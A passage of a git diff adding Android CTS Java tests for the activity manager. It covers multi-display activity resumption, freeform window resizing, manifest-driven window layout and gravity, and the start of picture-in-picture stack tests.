+ waitAndAssertActivityResumed(RESIZEABLE_ACTIVITY_NAME, DEFAULT_DISPLAY_ID,
+ "Activity launched on primary display must be resumed");
+ assertEquals("Unexpected resumed activity",
+ 1, mAmWmState.getAmState().getResumedActivitiesCount());
+ }
+
+ private void waitAndAssertActivityResumed(String activityName, int displayId, String message)
+ throws Exception {
+ mAmWmState.waitForActivityState(activityName, STATE_RESUMED);
+
+ final String fullActivityName = getActivityComponentName(activityName);
+ assertEquals(message, fullActivityName, mAmWmState.getAmState().getResumedActivity());
+ final int frontStackId = mAmWmState.getAmState().getFrontStackId(displayId);
+ ActivityManagerState.ActivityStack firstFrontStack =
+ mAmWmState.getAmState().getStackById(frontStackId);
+ assertEquals(message, fullActivityName, firstFrontStack.mResumedActivity);
+ assertTrue(message,
+ mAmWmState.getAmState().hasActivityState(activityName, STATE_RESUMED));
+ mAmWmState.assertFocusedStack("Focus must be on external display", frontStackId);
+ mAmWmState.assertVisibility(activityName, true /* visible */);
+ }
+
+ private void waitAndAssertActivityStopped(String activityName, String message)
+ throws Exception {
+ mAmWmState.waitForActivityState(activityName, STATE_STOPPED);
+
+ assertTrue(message, mAmWmState.getAmState().hasActivityState(activityName,
+ STATE_STOPPED));
+ }
+
+ /**
+ * Tests that showWhenLocked works on a secondary display.
+ */
+ public void testSecondaryDisplayShowWhenLocked() throws Exception {
+ if (!supportsMultiDisplay()) { return; }
+
+ try {
+ setLockCredential();
+
+ launchActivity(TEST_ACTIVITY_NAME);
+
+ final DisplayState newDisplay = createExternalVirtualDisplay(
+ false /* showContentWhenLocked */);
+ launchActivityOnDisplay(SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, newDisplay.mDisplayId);
+
+ gotoKeyguard();
+ mAmWmState.waitForKeyguardShowingAndNotOccluded();
+
+ mAmWmState.waitForActivityState(TEST_ACTIVITY_NAME, STATE_STOPPED);
+ mAmWmState.waitForActivityState(SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, STATE_RESUMED);
+
+ mAmWmState.computeState(new String[] { SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME });
+ assertTrue("Expected resumed activity on secondary display", mAmWmState.getAmState()
+ .hasActivityState(SHOW_WHEN_LOCKED_ATTR_ACTIVITY_NAME, STATE_RESUMED));
+ } finally {
+ tearDownLockCredentials();
+ }
+ }
+
+ /** Get physical and override display metrics from WM. */
+ private ReportedDisplayMetrics getDisplayMetrics() throws Exception {
+ mDumpLines.clear();
+ final String dump = executeShellCommand(WM_SIZE)
+ + executeShellCommand(WM_DENSITY);
+ mDumpLines.clear();
+ Collections.addAll(mDumpLines, dump.split("\\n"));
+ return ReportedDisplayMetrics.create(mDumpLines);
+ }
+
+ private static class ReportedDisplayMetrics {
+ private static final Pattern sPhysicalSizePattern =
+ Pattern.compile("Physical size: (\\d+)x(\\d+)");
+ private static final Pattern sOverrideSizePattern =
+ Pattern.compile("Override size: (\\d+)x(\\d+)");
+ private static final Pattern sPhysicalDensityPattern =
+ Pattern.compile("Physical density: (\\d+)");
+ private static final Pattern sOverrideDensityPattern =
+ Pattern.compile("Override density: (\\d+)");
+
+ int physicalWidth;
+ int physicalHeight;
+ int physicalDensity;
+
+ boolean sizeOverrideSet;
+ int overrideWidth;
+ int overrideHeight;
+ boolean densityOverrideSet;
+ int overrideDensity;
+
+ /** Get width that WM operates with. */
+ int getWidth() {
+ return sizeOverrideSet ? overrideWidth : physicalWidth;
+ }
+
+ /** Get height that WM operates with. */
+ int getHeight() {
+ return sizeOverrideSet ? overrideHeight : physicalHeight;
+ }
+
+ /** Get density that WM operates with. */
+ int getDensity() {
+ return densityOverrideSet ? overrideDensity : physicalDensity;
+ }
+
+ static ReportedDisplayMetrics create(LinkedList<String> dump) {
+ final ReportedDisplayMetrics result = new ReportedDisplayMetrics();
+
+ boolean physicalSizeFound = false;
+ boolean physicalDensityFound = false;
+
+ while (!dump.isEmpty()) {
+ final String line = dump.pop().trim();
+
+ Matcher matcher = sPhysicalSizePattern.matcher(line);
+ if (matcher.matches()) {
+ physicalSizeFound = true;
+ log(line);
+ result.physicalWidth = Integer.parseInt(matcher.group(1));
+ result.physicalHeight = Integer.parseInt(matcher.group(2));
+ continue;
+ }
+
+ matcher = sOverrideSizePattern.matcher(line);
+ if (matcher.matches()) {
+ log(line);
+ result.overrideWidth = Integer.parseInt(matcher.group(1));
+ result.overrideHeight = Integer.parseInt(matcher.group(2));
+ result.sizeOverrideSet = true;
+ continue;
+ }
+
+ matcher = sPhysicalDensityPattern.matcher(line);
+ if (matcher.matches()) {
+ physicalDensityFound = true;
+ log(line);
+ result.physicalDensity = Integer.parseInt(matcher.group(1));
+ continue;
+ }
+
+ matcher = sOverrideDensityPattern.matcher(line);
+ if (matcher.matches()) {
+ log(line);
+ result.overrideDensity = Integer.parseInt(matcher.group(1));
+ result.densityOverrideSet = true;
+ continue;
+ }
+ }
+
+ assertTrue("Physical display size must be reported", physicalSizeFound);
+ assertTrue("Physical display density must be reported", physicalDensityFound);
+
+ return result;
+ }
+ }
+
+ /** Assert that component received onMovedToDisplay and onConfigurationChanged callbacks. */
+ private void assertMovedToDisplay(String componentName, String logSeparator) throws Exception {
+ final ActivityLifecycleCounts lifecycleCounts
+ = new ActivityLifecycleCounts(componentName, logSeparator);
+ if (lifecycleCounts.mDestroyCount != 0) {
+ fail(componentName + " has been destroyed " + lifecycleCounts.mDestroyCount
+ + " time(s), wasn't expecting any");
+ } else if (lifecycleCounts.mCreateCount != 0) {
+ fail(componentName + " has been (re)created " + lifecycleCounts.mCreateCount
+ + " time(s), wasn't expecting any");
+ } else if (lifecycleCounts.mConfigurationChangedCount != 1) {
+ fail(componentName + " has received "
+ + lifecycleCounts.mConfigurationChangedCount
+ + " onConfigurationChanged() calls, expecting " + 1);
+ } else if (lifecycleCounts.mMovedToDisplayCount != 1) {
+ fail(componentName + " has received "
+ + lifecycleCounts.mMovedToDisplayCount
+ + " onMovedToDisplay() calls, expecting " + 1);
+ }
+ }
+
+ private static String getResizeVirtualDisplayCommand() {
+ return getAmStartCmd(VIRTUAL_DISPLAY_ACTIVITY) + " -f 0x20000000" +
+ " --es command resize_display";
+ }
+
+ /**
+ * Creates a private virtual display with the external and show with insecure
+ * keyguard flags set.
+ */
+ private DisplayState createExternalVirtualDisplay(boolean showContentWhenLocked)
+ throws Exception {
+ final ReportedDisplays originalDS = getDisplaysStates();
+ final int originalDisplayCount = originalDS.getNumberOfDisplays();
+
+ mExternalDisplayHelper = new DisplayHelper();
+ mExternalDisplayHelper.createAndWaitForDisplay(true /* external */, showContentWhenLocked);
+
+ // Wait for the virtual display to be created and get configurations.
+ final ReportedDisplays ds =
+ getDisplayStateAfterChange(originalDisplayCount + 1);
+ assertEquals("New virtual display must be created",
+ originalDisplayCount + 1, ds.getNumberOfDisplays());
+
+ // Find the newly added display.
+ final List<DisplayState> newDisplays = findNewDisplayStates(originalDS, ds);
+ return newDisplays.get(0);
+ }
+
+ /** Turns the primary display on/off by pressing the power key */
+ private void setPrimaryDisplayState(boolean wantOn) {
+ // Either KeyEvent.KEYCODE_WAKEUP or KeyEvent.KEYCODE_SLEEP
+ int keycode = wantOn ? 224 : 223;
+ executeShellCommand("input keyevent " + keycode);
+ DisplayHelper.waitForDefaultDisplayState(wantOn);
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerFreeformStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerFreeformStackTests.java
new file mode 100644
index 0000000..98da8a2
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerFreeformStackTests.java
@@ -0,0 +1,136 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static org.junit.Assert.assertEquals;
+
+import android.graphics.Rect;
+import android.server.am.ActivityManagerState.ActivityStack;
+import android.server.am.ActivityManagerState.ActivityTask;
+
+import org.junit.Test;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerFreeformStackTests
+ */
+public class ActivityManagerFreeformStackTests extends ActivityManagerTestBase {
+
+ private static final String TEST_ACTIVITY = "TestActivity";
+ private static final int TEST_TASK_OFFSET = 20;
+ private static final int TEST_TASK_OFFSET_2 = 100;
+ private static final int TEST_TASK_SIZE_1 = 900;
+ private static final int TEST_TASK_SIZE_2 = TEST_TASK_SIZE_1 * 2;
+ private static final int TEST_TASK_SIZE_DP_1 = 220;
+ private static final int TEST_TASK_SIZE_DP_2 = TEST_TASK_SIZE_DP_1 * 2;
+
+ // NOTE: Launching the FreeformActivity will automatically launch the TestActivity
+ // with bounds (0, 0, 900, 900)
+ private static final String FREEFORM_ACTIVITY = "FreeformActivity";
+ private static final String NON_RESIZEABLE_ACTIVITY = "NonResizeableActivity";
+ private static final String NO_RELAUNCH_ACTIVITY = "NoRelaunchActivity";
+
+ @Test
+ public void testFreeformWindowManagementSupport() throws Exception {
+
+ launchActivity(FREEFORM_ACTIVITY, WINDOWING_MODE_FREEFORM);
+
+ mAmWmState.computeState(FREEFORM_ACTIVITY, TEST_ACTIVITY);
+
+ if (!supportsFreeform()) {
+ mAmWmState.assertDoesNotContainStack("Must not contain freeform stack.",
+ WINDOWING_MODE_FREEFORM, ACTIVITY_TYPE_STANDARD);
+ return;
+ }
+
+ mAmWmState.assertFrontStack("Freeform stack must be the front stack.",
+ WINDOWING_MODE_FREEFORM, ACTIVITY_TYPE_STANDARD);
+ mAmWmState.assertVisibility(FREEFORM_ACTIVITY, true);
+ mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+ mAmWmState.assertFocusedActivity(
+ TEST_ACTIVITY + " must be focused Activity", TEST_ACTIVITY);
+ assertEquals(new Rect(0, 0, TEST_TASK_SIZE_1, TEST_TASK_SIZE_1),
+ mAmWmState.getAmState().getTaskByActivityName(TEST_ACTIVITY).getBounds());
+ }
+
+ @Test
+ public void testNonResizeableActivityHasFullDisplayBounds() throws Exception {
+ launchActivity(NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_FREEFORM);
+
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(NON_RESIZEABLE_ACTIVITY).build());
+
+ final ActivityTask task =
+ mAmWmState.getAmState().getTaskByActivityName(NON_RESIZEABLE_ACTIVITY);
+ final ActivityStack stack = mAmWmState.getAmState().getStackById(task.mStackId);
+
+ if (task.isFullscreen()) {
+ // If the task is on the fullscreen stack, then we know that it will have bounds that
+ // fill the entire display.
+ return;
+ }
+
+ // If the task is not on the fullscreen stack, then compare the task bounds to the display
+ // bounds.
+ assertEquals(mAmWmState.getWmState().getDisplay(stack.mDisplayId).getDisplayRect(),
+ task.getBounds());
+ }
+
+ @Test
+ public void testActivityLifeCycleOnResizeFreeformTask() throws Exception {
+ launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FREEFORM);
+ launchActivity(NO_RELAUNCH_ACTIVITY, WINDOWING_MODE_FREEFORM);
+
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY).build(),
+ new WaitForValidActivityState.Builder(NO_RELAUNCH_ACTIVITY).build());
+
+ if (!supportsFreeform()) {
+ mAmWmState.assertDoesNotContainStack("Must not contain freeform stack.",
+ WINDOWING_MODE_FREEFORM, ACTIVITY_TYPE_STANDARD);
+ return;
+ }
+
+ final int displayId = mAmWmState.getAmState().getStandardStackByWindowingMode(
+ WINDOWING_MODE_FREEFORM).mDisplayId;
+ final int densityDpi =
+ mAmWmState.getWmState().getDisplay(displayId).getDpi();
+ final int testTaskSize1 =
+ ActivityAndWindowManagersState.dpToPx(TEST_TASK_SIZE_DP_1, densityDpi);
+ final int testTaskSize2 =
+ ActivityAndWindowManagersState.dpToPx(TEST_TASK_SIZE_DP_2, densityDpi);
+
+ resizeActivityTask(TEST_ACTIVITY,
+ TEST_TASK_OFFSET, TEST_TASK_OFFSET, testTaskSize1, testTaskSize2);
+ resizeActivityTask(NO_RELAUNCH_ACTIVITY,
+ TEST_TASK_OFFSET_2, TEST_TASK_OFFSET_2, testTaskSize1, testTaskSize2);
+
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY).build(),
+ new WaitForValidActivityState.Builder(NO_RELAUNCH_ACTIVITY).build());
+
+ final String logSeparator = clearLogcat();
+ resizeActivityTask(TEST_ACTIVITY,
+ TEST_TASK_OFFSET, TEST_TASK_OFFSET, testTaskSize2, testTaskSize1);
+ resizeActivityTask(NO_RELAUNCH_ACTIVITY,
+ TEST_TASK_OFFSET_2, TEST_TASK_OFFSET_2, testTaskSize2, testTaskSize1);
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(TEST_ACTIVITY).build(),
+ new WaitForValidActivityState.Builder(NO_RELAUNCH_ACTIVITY).build());
+
+ assertActivityLifecycle(TEST_ACTIVITY, true /* relaunched */, logSeparator);
+ assertActivityLifecycle(NO_RELAUNCH_ACTIVITY, false /* relaunched */, logSeparator);
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java
new file mode 100644
index 0000000..dd66df0
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerManifestLayoutTests.java
@@ -0,0 +1,199 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.server.am.ActivityAndWindowManagersState.dpToPx;
+import static android.server.am.StateLogger.log;
+
+import android.graphics.Rect;
+import android.server.am.WindowManagerState.Display;
+import android.server.am.WindowManagerState.WindowState;
+
+import junit.framework.Assert;
+
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerManifestLayoutTests
+ */
+public class ActivityManagerManifestLayoutTests extends ActivityManagerTestBase {
+
+ // Test parameters
+ private static final int DEFAULT_WIDTH_DP = 240;
+ private static final int DEFAULT_HEIGHT_DP = 160;
+ private static final float DEFAULT_WIDTH_FRACTION = 0.25f;
+ private static final float DEFAULT_HEIGHT_FRACTION = 0.35f;
+ private static final int MIN_WIDTH_DP = 100;
+ private static final int MIN_HEIGHT_DP = 80;
+
+ private static final int GRAVITY_VER_CENTER = 0x01;
+ private static final int GRAVITY_VER_TOP = 0x02;
+ private static final int GRAVITY_VER_BOTTOM = 0x04;
+ private static final int GRAVITY_HOR_CENTER = 0x10;
+ private static final int GRAVITY_HOR_LEFT = 0x20;
+ private static final int GRAVITY_HOR_RIGHT = 0x40;
+
+ private List<WindowState> mTempWindowList = new ArrayList();
+ private Display mDisplay;
+ private WindowState mWindowState;
+
+ @Test
+ public void testGravityAndDefaultSizeTopLeft() throws Exception {
+ testLayout(GRAVITY_VER_TOP, GRAVITY_HOR_LEFT, false /*fraction*/);
+ }
+
+ @Test
+ public void testGravityAndDefaultSizeTopRight() throws Exception {
+ testLayout(GRAVITY_VER_TOP, GRAVITY_HOR_RIGHT, true /*fraction*/);
+ }
+
+ @Test
+ public void testGravityAndDefaultSizeBottomLeft() throws Exception {
+ testLayout(GRAVITY_VER_BOTTOM, GRAVITY_HOR_LEFT, true /*fraction*/);
+ }
+
+ @Test
+ public void testGravityAndDefaultSizeBottomRight() throws Exception {
+ testLayout(GRAVITY_VER_BOTTOM, GRAVITY_HOR_RIGHT, false /*fraction*/);
+ }
+
+ @Test
+ public void testMinimalSizeFreeform() throws Exception {
+ if (!supportsFreeform()) {
+ log("Skipping test: no freeform support");
+ return;
+ }
+ testMinimalSize(WINDOWING_MODE_FREEFORM);
+ }
+
+ @Test
+ public void testMinimalSizeDocked() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ log("Skipping test: no multi-window support");
+ return;
+ }
+ testMinimalSize(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ }
+
+ private void testMinimalSize(int windowingMode) throws Exception {
+ final String activityName = "BottomRightLayoutActivity";
+
+ // Issue command to resize to <0,0,1,1>. We expect the size to be floored at
+ // MIN_WIDTH_DPxMIN_HEIGHT_DP.
+ if (windowingMode == WINDOWING_MODE_FREEFORM) {
+ launchActivity(activityName, WINDOWING_MODE_FREEFORM);
+ resizeActivityTask(activityName, 0, 0, 1, 1);
+ } else { // stackId == DOCKED_STACK_ID
+ launchActivityInDockStack(activityName);
+ resizeDockedStack(1, 1, 1, 1);
+ }
+ getDisplayAndWindowState(activityName, false);
+
+ final int minWidth = dpToPx(MIN_WIDTH_DP, mDisplay.getDpi());
+ final int minHeight = dpToPx(MIN_HEIGHT_DP, mDisplay.getDpi());
+ final Rect containingRect = mWindowState.getContainingFrame();
+
+ Assert.assertEquals("Min width is incorrect", minWidth, containingRect.width());
+ Assert.assertEquals("Min height is incorrect", minHeight, containingRect.height());
+ }
+
+ private void testLayout(
+ int vGravity, int hGravity, boolean fraction) throws Exception {
+ if (!supportsFreeform()) {
+ log("Skipping test: no freeform support");
+ return;
+ }
+
+ final String activityName = (vGravity == GRAVITY_VER_TOP ? "Top" : "Bottom")
+ + (hGravity == GRAVITY_HOR_LEFT ? "Left" : "Right") + "LayoutActivity";
+
+ // Launch in freeform stack
+ launchActivity(activityName, WINDOWING_MODE_FREEFORM);
+
+ getDisplayAndWindowState(activityName, true);
+
+ final Rect containingRect = mWindowState.getContainingFrame();
+ final Rect appRect = mDisplay.getAppRect();
+ final int expectedWidthPx, expectedHeightPx;
+ // Evaluate the expected window size in px. If we're using fraction dimensions,
+ // calculate the size based on the app rect size. Otherwise, convert the expected
+ // size in dp to px.
+ if (fraction) {
+ expectedWidthPx = (int) (appRect.width() * DEFAULT_WIDTH_FRACTION);
+ expectedHeightPx = (int) (appRect.height() * DEFAULT_HEIGHT_FRACTION);
+ } else {
+ final int densityDpi = mDisplay.getDpi();
+ expectedWidthPx = dpToPx(DEFAULT_WIDTH_DP, densityDpi);
+ expectedHeightPx = dpToPx(DEFAULT_HEIGHT_DP, densityDpi);
+ }
+
+ verifyFrameSizeAndPosition(
+ vGravity, hGravity, expectedWidthPx, expectedHeightPx, containingRect, appRect);
+ }
+
+ private void getDisplayAndWindowState(String activityName, boolean checkFocus)
+ throws Exception {
+ final String windowName = getWindowName(activityName);
+
+ mAmWmState.computeState(new WaitForValidActivityState.Builder(activityName).build());
+
+ if (checkFocus) {
+ mAmWmState.assertFocusedWindow("Test window must be the front window.", windowName);
+ } else {
+ mAmWmState.assertVisibility(activityName, true);
+ }
+
+ mAmWmState.getWmState().getMatchingVisibleWindowState(windowName, mTempWindowList);
+
+ Assert.assertEquals("Should have exactly one window state for the activity.",
+ 1, mTempWindowList.size());
+
+ mWindowState = mTempWindowList.get(0);
+ Assert.assertNotNull("Should have a valid window", mWindowState);
+
+ mDisplay = mAmWmState.getWmState().getDisplay(mWindowState.getDisplayId());
+ Assert.assertNotNull("Should be on a display", mDisplay);
+ }
+
+ private void verifyFrameSizeAndPosition(
+ int vGravity, int hGravity, int expectedWidthPx, int expectedHeightPx,
+ Rect containingFrame, Rect parentFrame) {
+ Assert.assertEquals("Width is incorrect", expectedWidthPx, containingFrame.width());
+ Assert.assertEquals("Height is incorrect", expectedHeightPx, containingFrame.height());
+
+ if (vGravity == GRAVITY_VER_TOP) {
+ Assert.assertEquals("Should be on the top", parentFrame.top, containingFrame.top);
+ } else if (vGravity == GRAVITY_VER_BOTTOM) {
+ Assert.assertEquals("Should be on the bottom",
+ parentFrame.bottom, containingFrame.bottom);
+ }
+
+ if (hGravity == GRAVITY_HOR_LEFT) {
+ Assert.assertEquals("Should be on the left", parentFrame.left, containingFrame.left);
+ } else if (hGravity == GRAVITY_HOR_RIGHT){
+ Assert.assertEquals("Should be on the right",
+ parentFrame.right, containingFrame.right);
+ }
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
new file mode 100644
index 0000000..e19b9bf
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerPinnedStackTests.java
@@ -0,0 +1,1421 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.ActivityManager.StackId.INVALID_STACK_ID;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_HOME;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+import static android.server.am.ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID;
+import static android.server.am.ActivityManagerState.STATE_STOPPED;
+import static android.view.KeyEvent.KEYCODE_WINDOW;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.graphics.Rect;
+import android.platform.test.annotations.Presubmit;
+import android.server.am.ActivityManagerState.ActivityStack;
+import android.server.am.ActivityManagerState.ActivityTask;
+
+import org.junit.Test;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerPinnedStackTests
+ */
+public class ActivityManagerPinnedStackTests extends ActivityManagerTestBase {
+ private static final String TEST_ACTIVITY = "TestActivity";
+ private static final String TEST_ACTIVITY_WITH_SAME_AFFINITY = "TestActivityWithSameAffinity";
+ private static final String TRANSLUCENT_TEST_ACTIVITY = "TranslucentTestActivity";
+ private static final String NON_RESIZEABLE_ACTIVITY = "NonResizeableActivity";
+ private static final String RESUME_WHILE_PAUSING_ACTIVITY = "ResumeWhilePausingActivity";
+ private static final String PIP_ACTIVITY = "PipActivity";
+ private static final String PIP_ACTIVITY2 = "PipActivity2";
+ private static final String PIP_ACTIVITY_WITH_SAME_AFFINITY = "PipActivityWithSameAffinity";
+ private static final String ALWAYS_FOCUSABLE_PIP_ACTIVITY = "AlwaysFocusablePipActivity";
+ private static final String LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY =
+ "LaunchIntoPinnedStackPipActivity";
+ private static final String LAUNCH_ENTER_PIP_ACTIVITY = "LaunchEnterPipActivity";
+ private static final String PIP_ON_STOP_ACTIVITY = "PipOnStopActivity";
+
+ private static final String EXTRA_FIXED_ORIENTATION = "fixed_orientation";
+ private static final String EXTRA_ENTER_PIP = "enter_pip";
+ private static final String EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR =
+ "enter_pip_aspect_ratio_numerator";
+ private static final String EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR =
+ "enter_pip_aspect_ratio_denominator";
+ private static final String EXTRA_SET_ASPECT_RATIO_NUMERATOR = "set_aspect_ratio_numerator";
+ private static final String EXTRA_SET_ASPECT_RATIO_DENOMINATOR = "set_aspect_ratio_denominator";
+ private static final String EXTRA_SET_ASPECT_RATIO_WITH_DELAY_NUMERATOR =
+ "set_aspect_ratio_with_delay_numerator";
+ private static final String EXTRA_SET_ASPECT_RATIO_WITH_DELAY_DENOMINATOR =
+ "set_aspect_ratio_with_delay_denominator";
+ private static final String EXTRA_ENTER_PIP_ON_PAUSE = "enter_pip_on_pause";
+ private static final String EXTRA_TAP_TO_FINISH = "tap_to_finish";
+ private static final String EXTRA_START_ACTIVITY = "start_activity";
+ private static final String EXTRA_FINISH_SELF_ON_RESUME = "finish_self_on_resume";
+ private static final String EXTRA_REENTER_PIP_ON_EXIT = "reenter_pip_on_exit";
+ private static final String EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP = "assert_no_on_stop_before_pip";
+ private static final String EXTRA_ON_PAUSE_DELAY = "on_pause_delay";
+
+ private static final String PIP_ACTIVITY_ACTION_ENTER_PIP =
+ "android.server.am.PipActivity.enter_pip";
+ private static final String PIP_ACTIVITY_ACTION_MOVE_TO_BACK =
+ "android.server.am.PipActivity.move_to_back";
+ private static final String PIP_ACTIVITY_ACTION_EXPAND_PIP =
+ "android.server.am.PipActivity.expand_pip";
+ private static final String PIP_ACTIVITY_ACTION_SET_REQUESTED_ORIENTATION =
+ "android.server.am.PipActivity.set_requested_orientation";
+ private static final String PIP_ACTIVITY_ACTION_FINISH =
+ "android.server.am.PipActivity.finish";
+ private static final String TEST_ACTIVITY_ACTION_FINISH =
+ "android.server.am.TestActivity.finish_self";
+
+ private static final String APP_OPS_OP_ENTER_PICTURE_IN_PICTURE = "PICTURE_IN_PICTURE";
+ private static final int APP_OPS_MODE_ALLOWED = 0;
+ private static final int APP_OPS_MODE_IGNORED = 1;
+ private static final int APP_OPS_MODE_ERRORED = 2;
+
+ private static final int ROTATION_0 = 0;
+ private static final int ROTATION_90 = 1;
+ private static final int ROTATION_180 = 2;
+ private static final int ROTATION_270 = 3;
+
+ // Corresponds to ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE
+ private static final int ORIENTATION_LANDSCAPE = 0;
+ // Corresponds to ActivityInfo.SCREEN_ORIENTATION_PORTRAIT
+ private static final int ORIENTATION_PORTRAIT = 1;
+
+ private static final float FLOAT_COMPARE_EPSILON = 0.005f;
+
+ // Corresponds to com.android.internal.R.dimen.config_pictureInPictureMinAspectRatio
+ private static final int MIN_ASPECT_RATIO_NUMERATOR = 100;
+ private static final int MIN_ASPECT_RATIO_DENOMINATOR = 239;
+ private static final int BELOW_MIN_ASPECT_RATIO_DENOMINATOR = MIN_ASPECT_RATIO_DENOMINATOR + 1;
+ // Corresponds to com.android.internal.R.dimen.config_pictureInPictureMaxAspectRatio
+ private static final int MAX_ASPECT_RATIO_NUMERATOR = 239;
+ private static final int MAX_ASPECT_RATIO_DENOMINATOR = 100;
+ private static final int ABOVE_MAX_ASPECT_RATIO_NUMERATOR = MAX_ASPECT_RATIO_NUMERATOR + 1;
+
+ @Test
+ public void testMinimumDeviceSize() throws Exception {
+ if (!supportsPip()) return;
+
+ mAmWmState.assertDeviceDefaultDisplaySize(
+ "Devices supporting picture-in-picture must be larger than the default minimum"
+ + " task size");
+ }
+
+ @Presubmit
+ @Test
+ public void testEnterPictureInPictureMode() throws Exception {
+ pinnedStackTester(getAmStartCmd(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true"),
+ PIP_ACTIVITY, PIP_ACTIVITY, false /* moveTopToPinnedStack */,
+ false /* isFocusable */);
+ }
+
+ @Presubmit
+ @Test
+ public void testMoveTopActivityToPinnedStack() throws Exception {
+ pinnedStackTester(getAmStartCmd(PIP_ACTIVITY), PIP_ACTIVITY, PIP_ACTIVITY,
+ true /* moveTopToPinnedStack */, false /* isFocusable */);
+ }
+
+ @Test
+ public void testAlwaysFocusablePipActivity() throws Exception {
+ pinnedStackTester(getAmStartCmd(ALWAYS_FOCUSABLE_PIP_ACTIVITY),
+ ALWAYS_FOCUSABLE_PIP_ACTIVITY, ALWAYS_FOCUSABLE_PIP_ACTIVITY,
+ false /* moveTopToPinnedStack */, true /* isFocusable */);
+ }
+
+ @Presubmit
+ @Test
+ public void testLaunchIntoPinnedStack() throws Exception {
+ pinnedStackTester(getAmStartCmd(LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY),
+ LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY, ALWAYS_FOCUSABLE_PIP_ACTIVITY,
+ false /* moveTopToPinnedStack */, true /* isFocusable */);
+ }
+
+ @Test
+ public void testNonTappablePipActivity() throws Exception {
+ if (!supportsPip()) return;
+
+ // Launch the tap-to-finish activity at a specific place
+ launchActivity(PIP_ACTIVITY,
+ EXTRA_ENTER_PIP, "true",
+ EXTRA_TAP_TO_FINISH, "true");
